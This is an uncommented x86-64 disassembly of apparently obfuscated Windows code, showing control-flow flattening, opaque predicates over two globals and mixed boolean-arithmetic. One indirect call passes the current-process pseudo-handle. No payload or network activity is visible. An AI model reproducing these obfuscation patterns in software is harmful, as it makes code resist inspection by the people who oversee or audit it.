xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or dl, cl
mov ebx, edx
xor bl, cl
test dl, 1
mov eax, 0xd1c58322
mov edx, 0x144a5921
cmovne eax, edx
test cl, 1
cmove eax, edx
test bl, 1
mov ecx, 0xd1c58322
jmp 0x1401a14db
cmp eax, 0xfe1f5d00
jg 0x14018d9d4
cmp eax, 0xfcd3d1fd
jg 0x140191987
cmp eax, 0xfc265dbe
je 0x140197bc7
cmp eax, 0xfc4e224c
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, edx
mov edi, ecx
not edi
mov esi, edx
and esi, 0x9362c982
and ebx, 0x6c9d367d
or ebx, esi
or edx, edi
and edi, 0x9362c982
and ecx, 0x6c9d367d
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
or ecx, 1
mov edi, ecx
not edi
and ebx, 0x2f4d2c11
and edx, 0xd0b2d3ee
or edx, ebx
mov ebx, edx
xor ebx, 0xc082d0e7
xor edx, 0x2f4d2c10
mov esi, ecx
and esi, 0x16300b18
and edi, 0xe9cff4e6
or edi, esi
or ecx, edx
and edx, 0x16300b18
and ebx, 0xe9cff4e7
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x8defebac
and ebx, 0x72101453
or ebx, esi
or ecx, edi
and edi, 0x8defebac
and edx, 0x72101453
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xd4cfe0bb
and edx, 0x2b301f44
or edx, ecx
xor edx, 0xd4cfe0bb
cmp edx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
or bl, r8b
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
not al
test al, 1
mov eax, 0x8bfa1211
mov ebx, 0xf78a1855
cmovne eax, ebx
test dl, dl
mov edx, 0x8bfa1211
cmovne edx, eax
test cl, 1
jmp 0x14019f61b
cmp eax, 0x814e608f
jle 0x14018da0a
cmp eax, 0x81a9aa56
jg 0x1401919b2
cmp eax, 0x814e6090
je 0x140197d8e
cmp eax, 0x8178a802
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x1e53f003
and eax, ecx
not ecx
and ecx, 0x8003001
and edx, 0x1653c002
or edx, ecx
xor edx, 0x1653c002
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xe1ac0ffc
and eax, 0x1e53f003
or eax, ecx
mov ecx, eax
xor ecx, 1
and ecx, eax
mov edx, eax
not edx
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov edx, eax
not edx
or eax, 0x4c667c3b
mov ebx, eax
not ebx
or edx, 0xb39983c4
mov ecx, edx
not ecx
and eax, 0x25ef3e6d
and ebx, 0x92108180
or ebx, eax
and edx, 0x25ef3e6d
and ecx, 0x48004012
or ecx, edx
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0x83758269
and ecx, 0x7c8a7d96
or ecx, eax
mov eax, ecx
xor eax, 0xc0021050
xor ecx, 0x60000d
and ecx, 0xf71ee0f
and eax, 0xf08e11f0
or eax, ecx
mov ecx, eax
xor ecx, 0xd00210b0
xor eax, 0x831ac0c
and eax, 0x28bdad4c
and ecx, 0xd74252b3
or ecx, eax
xor ecx, 0xd74252b3
setne cl
sete al
cmp dword [0x1402656c4], 0xa
setl dl
or al, dl
xor al, 1
xor cl, dl
mov edx, ecx
xor dl, 1
or al, dl
mov ebx, eax
xor bl, 1
and dl, cl
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
and bl, dl
xor dl, 1
and dl, al
or dl, bl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x7cce9789
mov ebx, 0x86bc1cb6
cmovne ecx, ebx
test al, al
mov eax, 0x7cce9789
jmp 0x14018b3fd
cmp eax, 0xbb4de016
jle 0x14018da40
cmp eax, 0xbbbce7ab
jg 0x140191aaa
cmp eax, 0xbb4de017
je 0x140197da3
cmp eax, 0xbb741a8b
jne 0x14016c950
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea esi, [rax - 1]
imul esi, eax
mov edx, esi
not edx
mov eax, edx
and eax, 0x9000601
mov ebx, esi
and ebx, 0x84e8a844
or ebx, eax
xor ebx, 0x84e8a844
mov edi, esi
and edi, 0x721751ba
or edi, ebx
mov ebx, edi
not ebx
and ebx, 0x3dd714e0
and edi, 0xc228eb1f
or edi, ebx
mov eax, edi
xor eax, 0x4fc0455b
xor edi, 0xb03fbaa4
and edx, edi
and eax, esi
or eax, edx
not eax
or eax, edi
cmp eax, 0xffffffff
sete bl
cmp ecx, 0xa
setl al
cmp ecx, 9
setg r8b
mov edx, ebx
mov ecx, eax
and cl, bl
xor al, bl
or bl, r8b
xor dl, r8b
or al, cl
mov r9d, edx
xor r9b, al
or al, dl
not dl
and dl, r8b
xor dl, 1
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
xor al, 1
or al, r9b
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x64ca26d7
mov ebx, 0xde5725cf
cmovne edx, ebx
test al, 1
mov eax, 0x64ca26d7
jmp 0x1401a2f66
cmp eax, 0x9e67c04b
jle 0x14018dbae
cmp eax, 0x9f282cb4
jg 0x140191ad5
cmp eax, 0x9e67c04c
je 0x140197ea9
cmp eax, 0x9f278257
jne 0x14016c950
mov eax, 0x254cfa88
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xdb881b74
jle 0x14018dbe4
cmp eax, 0xdbac7fdd
jg 0x140191c9e
cmp eax, 0xdb881b75
je 0x140197ebe
cmp eax, 0xdbab72d4
jne 0x14016c950
mov eax, 0x32691916
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x9106ac10
jle 0x14018dcdd
cmp eax, 0x91416f94
jg 0x140191cc9
cmp eax, 0x9106ac11
je 0x140197fb8
cmp eax, 0x9112c15b
jne 0x14016c950
mov rax, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov r9d, dword [rbp - 0x2c]
mov rbx, qword [rbp - 0x28]
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
call rbx
add rsp, 0x30
mov eax, 0xce0c2f92
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xcbb45e5f
jle 0x14018de2c
cmp eax, 0xcc00dbee
jg 0x140191ded
cmp eax, 0xcbb45e60
je 0x1401980a2
cmp eax, 0xcbf481a0
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r9d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x6a5593ce
and ecx, edx
and edx, 0x95aa6c31
or edx, ebx
mov ebx, edx
xor ebx, 0x1a04420
xor edx, 0x6a5593ce
mov edi, ecx
not edi
mov esi, edx
and esi, 0x9c1f3855
and ebx, 0x63e0c7aa
or ebx, esi
or edx, edi
and edi, 0x9c1f3855
and ecx, 0x63e0c7aa
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov edi, edx
not edi
mov ebx, edi
and ebx, 0x53c817c0
mov ecx, edx
xor ecx, 0x53c817c0
and ecx, edx
mov esi, ebx
and esi, ecx
xor ecx, ebx
or ecx, esi
mov ebx, ecx
not ebx
and ebx, 0x5d74642b
and ecx, 0xa28b9bd4
or ecx, ebx
xor ecx, 0xf1438c15
and edi, 1
xor edx, 0xfffffffe
or edx, edi
not edx
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
mov edi, ecx
or edi, 0x2160bb81
mov ebx, edi
not ebx
or edx, 0x1a07006c
and edx, 0x1a279a6d
and ecx, 0x21402180
or ecx, edx
and edi, 0x1a279a6d
and ebx, 0xc4984412
or ebx, edi
xor ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xde9f447e
and ebx, 0x2160bb81
or ebx, ecx
sete r8b
setne cl
cmp r9d, 0xa
setl al
cmp r9d, 9
setg r9b
mov edx, ecx
and dl, r9b
and al, r8b
or al, dl
xor al, 1
or al, r9b
mov r8d, eax
xor r8b, 1
xor r9b, cl
mov ecx, r9d
xor cl, 1
mov edx, r8d
and dl, al
mov ebx, r9d
and bl, cl
mov r10d, edx
and r10b, r8b
xor dl, r8b
or dl, r10b
mov r8d, ebx
and r8b, r9b
xor bl, r9b
or bl, r8b
xor bl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, bl
test cl, 1
mov eax, 0x750666b7
mov ecx, 0x6a47f4de
cmovne eax, ecx
test bl, 1
cmove eax, ecx
test dl, 1
mov ecx, 0x750666b7
jmp 0x1401a14db
cmp eax, 0xab41804e
jle 0x14018de62
cmp eax, 0xab7fe2ec
jg 0x140191ee3
cmp eax, 0xab41804f
je 0x1401982e2
cmp eax, 0xab58c2d8
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x21b03513
and ecx, edx
and edx, 0xde4fcaec
or edx, ebx
xor edx, 0xde4fcaec
mov ebx, edx
and ebx, ecx
xor edx, ecx
or edx, ebx
mov ecx, edx
mov ebx, edx
xor ebx, 0x78826769
and ebx, edx
not edx
and edx, 0xd0efefc9
and ecx, 0x2f101036
or ecx, edx
mov edx, ecx
xor edx, 0x2f101036
mov edi, ecx
xor edi, 0xa86d88a0
and edi, edx
mov esi, edi
and esi, ebx
xor ebx, edi
or ebx, esi
mov edi, ebx
not edi
and edi, 0x877d9897
and ebx, 0x78826768
or ebx, edi
and edx, 1
xor ecx, 0x2f101037
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd5555db9
and ecx, 0x2aaaa246
or ecx, edx
xor ecx, 0x2aaaa246
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xdfe791af
and edx, ecx
and ecx, 0x20186e50
or ecx, ebx
mov ebx, ecx
xor ebx, 0x20084c10
xor ecx, 0xdfe791af
mov edi, edx
not edi
mov esi, ecx
and esi, 0xca16226b
and ebx, 0x35e9dd94
or ebx, esi
or ecx, edi
and edi, 0xca16226b
and edx, 0x35e9dd94
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x8274da32
and ecx, 0x7d8b25cd
or ecx, edx
mov edx, ecx
xor edx, 0x48810405
xor ecx, 0x82449230
and ecx, 0xb74eb3f8
and edx, 0x48b14c07
or edx, ecx
mov ecx, edx
xor ecx, 0x140a1350
xor edx, 0x40304c07
and edx, 0xe374ecaf
and ecx, 0x1c8b1350
or ecx, edx
xor ecx, 0x1c8b1350
setne r8b
sete r9b
cmp eax, 9
setg r11b
cmp eax, 0xa
setl r10b
mov edx, r9d
xor dl, r8b
and dl, r9b
mov eax, edx
xor al, 1
mov ecx, edx
and cl, al
mov ebx, ecx
xor bl, 1
xor cl, dl
or bl, al
xor bl, 1
or bl, cl
or al, dl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor al, r10b
mov ecx, eax
xor cl, 1
or r10b, r9b
xor r10b, 1
xor r11b, r8b
mov edx, r10d
and dl, r11b
xor r11b, r10b
or r11b, dl
mov edx, r11d
not dl
and dl, r11b
xor dl, 1
mov ebx, r11d
xor bl, dl
or dl, r11b
xor dl, 1
or dl, bl
xor al, dl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x8adb2460
mov ebx, 0x3db31d94
cmovne eax, ebx
test dl, 1
mov edx, 0x8adb2460
cmovne eax, edx
jmp 0x14018c1ec
cmp eax, 0xee17d002
jle 0x14018e081
cmp eax, 0xee2d7871
jg 0x140191fdc
cmp eax, 0xee17d003
je 0x140198383
cmp eax, 0xee22d8dd
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xfffffffe
mov edi, ecx
and edi, 1
or edi, ebx
and edx, 0xa803cf17
and ecx, 0x57fc30e8
or ecx, edx
mov edx, ecx
xor edx, 0x57fc30e8
xor ecx, 0xa803cf17
and ecx, edi
not edi
and edx, edi
or ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, r8b
not al
and al, r8b
or bl, r8b
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, edx
xor al, r8b
and dl, r8b
or dl, al
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, ebx
xor cl, 1
mov edx, eax
xor dl, 1
and al, cl
or cl, dl
and dl, bl
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x147fa114
mov ebx, 0xdfc99931
cmovne eax, ebx
test dl, 1
mov edx, eax
mov ebx, 0x147fa114
cmovne edx, ebx
test cl, 1
jmp 0x14019f61b
cmp eax, 0x899abd00
jle 0x14018e14c
cmp eax, 0x89ee2cad
jg 0x140192007
cmp eax, 0x899abd01
je 0x140198398
cmp eax, 0x89cbb974
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0x9fb309f0
mov edx, ecx
xor edx, 0x9fb309f0
and edx, ecx
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0x604cf60e
and edx, 0x9fb309f1
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x7a2cb2e0
and edx, 0x85d34d1f
or edx, ebx
xor edx, 0x85d34d1f
and edi, 0x48e50cce
and ecx, 0xb71af331
or ecx, edi
xor ecx, 0xb71af331
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x3fa1575f
and ecx, 0xc05ea8a0
or ecx, edx
xor ecx, 0xc05ea8a0
setne r8b
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov ebx, r9d
or bl, al
mov ecx, r9d
xor cl, al
not cl
and cl, al
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
and r8b, r10b
or r10b, r9b
and al, r9b
or al, r8b
mov edx, r10d
xor dl, al
xor al, 1
xor dl, 1
or al, r10b
xor al, 1
or al, dl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, dl
mov r8d, ebx
and r8b, cl
xor bl, cl
or bl, r8b
xor bl, al
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov eax, ebx
xor al, dl
not al
test al, 1
mov ecx, 0xbb4de017
mov eax, 0xc050500c
cmovne ecx, eax
test dl, 1
mov eax, 0xbb4de017
cmovne eax, ecx
test bl, 1
jmp 0x14019970b
cmp eax, 0xc3174252
jle 0x14018e251
cmp eax, 0xc35becd5
jg 0x140192032
cmp eax, 0xc3174253
je 0x140198484
cmp eax, 0xc3372ba0
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov r9d, ebx
not r9d
mov ecx, ebx
xor ecx, 0x3083e3d1
and ecx, ebx
mov edx, ebx
or edx, 0xcf7c1c2e
mov edi, ecx
not edi
mov eax, edx
and eax, 0xf60ebf79
mov esi, r9d
and esi, 0x814080
or esi, eax
or edx, edi
and edi, 0xf60ebf79
and ecx, 0x9f14086
or ecx, edi
xor ecx, esi
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x40bc2a63
and edx, 0xbf43d59c
or edx, eax
mov edi, edx
xor edi, 0x8140200c
xor edx, 0x2028c112
and edx, 0x2ea8d752
and edi, 0xd15728ad
or edi, edx
mov eax, edi
xor eax, 0xc0052808
xor edi, 0x2ea8d752
mov ecx, edi
and ecx, 0x3dfa40e5
and eax, 0xc205bf1a
or eax, ecx
or edi, ebx
and ebx, 0x3dfa40e5
and r9d, 0xc205bf1a
or r9d, ebx
xor r9d, eax
not edi
or edi, r9d
cmp edi, 0xffffffff
setne bl
sete r9b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg r8b
xor bl, r9b
and bl, r9b
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov ebx, eax
xor bl, 1
and al, r8b
and bl, cl
or bl, al
mov eax, ecx
or al, r9b
xor al, 1
xor cl, r9b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ebx
xor al, 1
and bl, al
xor bl, 1
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
xor bl, cl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, ebx
xor cl, al
test al, 1
mov eax, 0x1f401001
mov edx, 0x8f6ea94f
cmovne eax, edx
test bl, 1
cmovne eax, edx
not cl
test cl, 1
mov ecx, 0x1f401001
jmp 0x1401a14db
cmp eax, 0xa549cdd6
jle 0x14018e287
cmp eax, 0xa562c1b2
jg 0x140192192
cmp eax, 0xa549cdd7
je 0x14019861e
cmp eax, 0xa55e7baf
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ecx, ebx
xor ecx, 0xfffffffe
and ecx, ebx
mov edx, ebx
or edx, 1
mov edi, ecx
not edi
mov r8d, edx
and r8d, 0xa5f3c786
mov esi, eax
and esi, 0x5a0c3878
or esi, r8d
or edx, edi
and edi, 0xa5f3c786
and ecx, 0x5a0c3879
or ecx, edi
xor ecx, esi
not edx
or edx, ecx
mov edi, edx
not edi
mov ecx, edi
and ecx, 0xd59e8f21
and edx, 0x2a6170de
or edx, ecx
and ebx, 0xd59e8f21
and eax, 0x2a6170de
or eax, ebx
xor eax, edx
not eax
or eax, edi
cmp eax, 0xffffffff
sete al
setne cl
cmp dword [0x1402656c4], 9
setg dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, edx
xor bl, al
not bl
and bl, al
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
and dl, cl
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov ecx, eax
xor cl, bl
test al, al
mov eax, 0x98b28d0b
mov edx, 0x6fd41c58
cmovne eax, edx
test bl, bl
mov ebx, 0x98b28d0b
jmp 0x14019b34b
cmp eax, 0xe2ef79cf
jle 0x14018e40b
cmp eax, 0xe3e11f31
jg 0x1401922a6
cmp eax, 0xe2ef79d0
je 0x1401986dd
cmp eax, 0xe3ddf3b3
jne 0x14016c950
mov eax, 0x3cdd8413
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x979bf536
jle 0x14018e441
cmp eax, 0x97ae3e6e
jg 0x1401923c4
cmp eax, 0x979bf537
je 0x140198705
cmp eax, 0x97ab0093
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edx, ebx
not edx
and edx, 0x88f0b0a0
mov ecx, ebx
and ecx, 0x52034d18
or ecx, edx
xor ecx, 0x52034d18
and ebx, 0x250c0247
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xf896410c
and ebx, 0x769bef3
or ebx, ecx
mov edi, ebx
xor edi, 0x4598414a
mov eax, ebx
xor eax, 0x2265bcb4
or edi, 0x9a061a05
mov esi, edi
not esi
mov ecx, eax
or ecx, 0x65f9e5fa
mov edx, ecx
not edx
and edi, 0x80c4ceef
and esi, 0x65392110
or esi, edi
and ecx, 0x80c4ceef
and edx, 0x1a021000
or edx, ecx
xor edx, esi
mov ecx, edx
not ecx
and ecx, 0xe3a99e08
and edx, 0x1c5661f7
or edx, ecx
mov ecx, edx
xor ecx, 0x68248000
and eax, 1
xor ebx, 0x2265bcb5
or ebx, eax
mov eax, ebx
not eax
xor edx, 0x86507bf3
mov edi, edx
and edi, 0x158b1c0c
and ecx, 0xea74e3f3
or ecx, edi
or edx, ebx
and ebx, 0x158b1c0c
and eax, 0xea74e3f3
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov ecx, edx
mov eax, edx
xor eax, 0xc2be3fbd
and eax, edx
not edx
and edx, 0x1b78e432
and ecx, 0xe4871bcd
or ecx, edx
mov edx, ecx
xor edx, 0x4004098d
xor ecx, 0x2382430
or ecx, 0x3d41c042
mov ebx, eax
not ebx
mov edi, ecx
and edi, 0xa8bbd650
and edx, 0x420429ad
or edx, edi
or ecx, ebx
and ebx, 0xa8bbd650
and eax, 0x574429af
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xad156a1c
and ecx, 0x52ea95e3
or ecx, eax
mov eax, ecx
xor eax, 0x502a02
xor ecx, 0x6fab55a1
mov edx, ecx
and edx, 0xd987805d
and eax, 0x26787fa2
or eax, edx
xor eax, 0x26787fa2
or eax, ecx
cmp eax, 0xffffffff
sete r9b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
mov eax, edx
and al, cl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, r9b
mov r8d, eax
xor r8b, 1
mov ebx, ecx
or bl, r9b
xor bl, 1
xor cl, r9b
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, r8b
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x2fa7fa05
mov ebx, 0x6c4b4f07
cmovne ecx, ebx
test dl, 1
mov edx, ecx
mov ebx, 0x2fa7fa05
jmp 0x1401a216b
cmp eax, 0xd37e7d22
jle 0x14018e5c3
cmp eax, 0xd44a0f63
jg 0x140192580
cmp eax, 0xd37e7d23
je 0x14019871a
cmp eax, 0xd39af73a
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov esi, ecx
not esi
mov edx, ecx
xor edx, 0xb46514bf
and edx, ecx
or ecx, 0x4b9aeb40
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xf8ff4d0e
mov eax, esi
and eax, 0x40010b1
or eax, edi
or ecx, ebx
and ebx, 0xf8ff4d0e
and edx, 0x700b2f1
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xc861a03e
and ecx, 0x379e5fc1
or ecx, eax
mov eax, ecx
xor eax, 0x82780171
xor ecx, 0x4c00a000
and ecx, 0x4d83ea0e
and eax, 0xb27c15f1
or eax, ecx
xor eax, 0xb27c15f1
mov ecx, eax
and ecx, esi
xor eax, esi
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x1402656c4], 0xa
setl bl
mov edx, ebx
xor dl, al
mov ecx, ebx
xor cl, dl
not cl
and cl, dl
or al, bl
not dl
and dl, bl
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0xcb0ae12c
mov ebx, 0xc13e03dd
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0xcb0ae12c
jmp 0x1401a0e8b
cmp eax, 0xb2702342
jle 0x14018e6ab
cmp eax, 0xb2af7afd
jg 0x14019278d
cmp eax, 0xb2702343
je 0x14019872f
cmp eax, 0xb280fb31
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov ebx, esi
or ebx, 0x7c30d094
mov edx, ebx
not edx
or ecx, 0x1030502
and ecx, 0x9035516
mov edi, esi
and edi, 0x74308080
or edi, ecx
and ebx, 0x9035516
and edx, 0x82cc2a69
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0xdcc66d64
and edx, 0x2339929b
or edx, ecx
mov ecx, edx
xor ecx, 0x56000006
xor edx, 0xa0d2a8a0
and edx, 0xa9dbeaa8
and ecx, 0x56241557
or ecx, edx
xor ecx, 0x56241557
mov edx, ecx
and edx, esi
xor ecx, esi
or ecx, edx
cmp ecx, 0xffffffff
sete r9b
setne dl
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg cl
xor cl, dl
xor dl, bl
xor dl, 1
mov eax, ebx
and al, r9b
xor bl, r9b
or bl, al
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
xor bl, cl
and cl, bl
mov eax, ebx
xor al, cl
test al, 1
mov edx, 0xa9cc9afb
mov eax, 0x1e8e4060
cmovne edx, eax
test bl, 1
mov eax, 0xa9cc9afb
cmovne eax, edx
jmp 0x1401a1193
cmp eax, 0xf7f2a4d3
jle 0x14018e80f
cmp eax, 0xf8a44490
jg 0x1401927b8
cmp eax, 0xf7f2a4d4
je 0x140198744
cmp eax, 0xf8846ff5
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
mov ecx, ebx
xor ecx, 0x621c3991
and ecx, ebx
not ebx
and ebx, 0x420c0180
and edx, 0x20103811
or edx, ebx
mov ebx, edx
xor ebx, 0x3810
xor edx, 0xdfefc7ee
mov edi, ecx
not edi
mov esi, edx
and esi, 0x36740625
and ebx, 0x40083990
or ebx, esi
or edx, edi
and edi, 0x36740625
and ecx, 0xc98bf9da
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x9de3c66e
and edx, 0x621c3991
or edx, ecx
mov esi, edx
not esi
mov edi, esi
and edi, 0xc0f7162e
mov ecx, edx
xor ecx, 0xc0f7162e
and ecx, edx
mov eax, edi
and eax, ecx
xor ecx, edi
or ecx, eax
mov edi, ecx
not edi
and edi, 0x3f08e9d0
and ecx, 0xc0f7162f
or ecx, edi
and edx, 0x1a7a5e23
mov ebx, esi
and ebx, 0xe585a1dc
or ebx, edx
xor ebx, 0x1a7a5e22
and esi, 1
or esi, ebx
mov eax, esi
not eax
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x5ebd83af
and ecx, 0xa1427c50
or ecx, ebx
or edx, esi
and esi, 0x5ebd83af
and eax, 0xa1427c50
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x3a3fcaef
and eax, 0xc5c03510
or eax, ecx
xor eax, 0xc5c03510
or eax, edx
cmp eax, 0xffffffff
sete r9b
setne r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl dl
mov ebx, r10d
or bl, dl
xor bl, 1
mov eax, r10d
xor al, dl
not al
and al, dl
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
and r9b, cl
and dl, r10b
or dl, r9b
mov ebx, ecx
xor bl, r10b
or cl, r10b
xor cl, 1
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xba452a83
mov ebx, 0xbca09fbd
cmovne ecx, ebx
test al, al
cmove ecx, ebx
test dl, 1
mov eax, 0xba452a83
jmp 0x1401a26bd
cmp eax, 0x85497850
jle 0x14018e8fe
cmp eax, 0x85b65236
jg 0x1401927fa
cmp eax, 0x85497851
je 0x1401988e4
cmp eax, 0x8594d9c0
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov eax, ebx
not eax
mov edx, eax
and edx, 0x20048003
mov ecx, ebx
and ecx, 0x86800220
or ecx, edx
mov esi, ecx
xor esi, 0x4000220
xor ecx, 0x5157384c
mov edi, eax
or edi, 0xa6848223
mov edx, edi
not edx
and ecx, 0xd3d7384c
and esi, 0x24008223
or esi, ecx
and edi, 0xd3d7384c
and edx, 0x8284590
or edx, edi
xor edx, esi
mov ecx, edx
not ecx
and ecx, 0x597b7ddd
and edx, 0xa6848222
or edx, ecx
and eax, 0x76c0d83e
and ebx, 0x893f27c1
or ebx, eax
mov eax, ebx
xor eax, 0x81212041
mov ecx, edx
not ecx
mov edi, ecx
and edi, 0x3e9e8f8c
